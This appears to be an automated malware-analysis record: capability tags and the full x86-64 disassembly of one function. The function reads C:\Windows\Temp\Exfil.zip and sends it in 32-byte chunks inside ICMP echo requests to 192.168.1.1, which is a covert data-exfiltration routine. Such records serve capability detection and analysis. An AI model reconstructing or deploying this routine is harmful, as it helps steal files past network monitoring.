Function at 0x40159a
Capabilities:
Initialize winsock library
Read file on windows
Send icmp echo request

Disassembly:
push rbp
push rbx
sub rsp, 0x248
lea rbp, [rsp + 0x80]
lea rax, [rbp - 0x30]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
je 0x4015da
lea rcx, str.Failed_to_initialize_Winsock.
call sym.printf
mov eax, 1
jmp 0x4018c9
call sym.IcmpCreateFile
mov qword [rbp + 0x1b0], rax
cmp qword [rbp + 0x1b0], 0xffffffffffffffff
jne 0x40160f
lea rcx, str.Failed_to_create_ICMP_socket.
call sym.printf
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 1
jmp 0x4018c9
lea rax, str.192.168.1.1
mov qword [rbp + 0x1a8], rax
lea rax, str.C:WindowsTempExfil.zip
mov qword [rbp + 0x1a0], rax
mov rdx, qword [rbp + 0x1a0]
lea rax, [rbp - 0x38]
lea r8, [0x00405062]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll_fopen_s]
call rax
mov rax, qword [rbp - 0x38]
test rax, rax
jne 0x40165c
mov eax, 0xffffffff
jmp 0x4018c9
mov rax, qword [rbp - 0x38]
mov r8d, 2
mov edx, 0
mov rcx, rax
call sym.fseek
mov rax, qword [rbp - 0x38]
mov rcx, rax
call sym.ftell
mov dword [rbp + 0x19c], eax
mov eax, dword [rbp + 0x19c]
mov edx, eax
lea rcx, str.callocing_size_of__i
call sym.printf
mov rax, qword [rbp - 0x38]
mov r8d, 0
mov edx, 0
mov rcx, rax
call sym.fseek
mov eax, dword [rbp + 0x19c]
cdqe
mov edx, 2
mov rcx, rax
call sym.calloc
mov qword [rbp + 0x190], rax
mov rcx, qword [rbp - 0x38]
mov eax, dword [rbp + 0x19c]
movsxd rdx, eax
mov rax, qword [rbp + 0x190]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fread
mov dword [rbp + 0x18c], 0x20
mov eax, dword [rbp + 0x18c]
add eax, 0x28
mov dword [rbp + 0x188], eax
mov eax, dword [rbp + 0x18c]
mov edx, 1
mov rcx, rax
call sym.calloc
mov qword [rbp + 0x180], rax
mov dword [rbp + 0x1bc], 0
jmp 0x401887
mov ecx, dword [rbp + 0x18c]
mov eax, dword [rbp + 0x1bc]
cdqe
mov rdx, qword [rbp + 0x190]
add rdx, rax
mov rax, qword [rbp + 0x180]
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov eax, dword [rbp + 0x188]
mov rcx, rax
call sym.malloc
mov qword [rbp + 0x178], rax
mov eax, dword [rbp + 0x18c]
movzx ebx, ax
mov rax, qword [rbp + 0x1a8]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov r10d, eax
mov rax, qword [rbp + 0x1b0]
mov rcx, qword [rbp + 0x180]
mov dword [rsp + 0x38], 0x1388
mov edx, dword [rbp + 0x188]
mov dword [rsp + 0x30], edx
mov rdx, qword [rbp + 0x178]
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], 0
mov r9d, ebx
mov r8, rcx
mov edx, r10d
mov rcx, rax
call sym.IcmpSendEcho
test eax, eax
jne 0x40181a
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.Failed_to_send_ICMP_packet:__ld_n
call sym.printf
mov rax, qword [rbp + 0x1b0]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 1
jmp 0x4018c9
mov rax, qword [rbp + 0x178]
mov qword [rbp + 0x170], rax
mov rax, qword [rbp + 0x170]
movzx eax, byte [rax + 0x18]
movzx eax, al
mov rdx, qword [rbp + 0x170]
mov r8d, dword [rdx + 8]
mov ecx, dword [rbp + 0x18c]
mov rdx, qword [rbp + 0x1a8]
mov dword [rsp + 0x20], eax
mov r9d, r8d
mov r8d, ecx
lea rcx, str.Reply_from__s:_bytes_d_time_ldms_TTL_d_n
call sym.printf
mov rax, qword [rbp + 0x178]
mov rcx, rax
call sym.free
mov edx, dword [rbp + 0x1bc]
mov eax, dword [rbp + 0x18c]
add eax, edx
mov dword [rbp + 0x1bc], eax
mov eax, dword [rbp + 0x1bc]
cmp eax, dword [rbp + 0x19c]
jl 0x401735
mov rax, qword [rbp + 0x180]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1b0]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 0
add rsp, 0x248
pop rbx
pop rbp
ret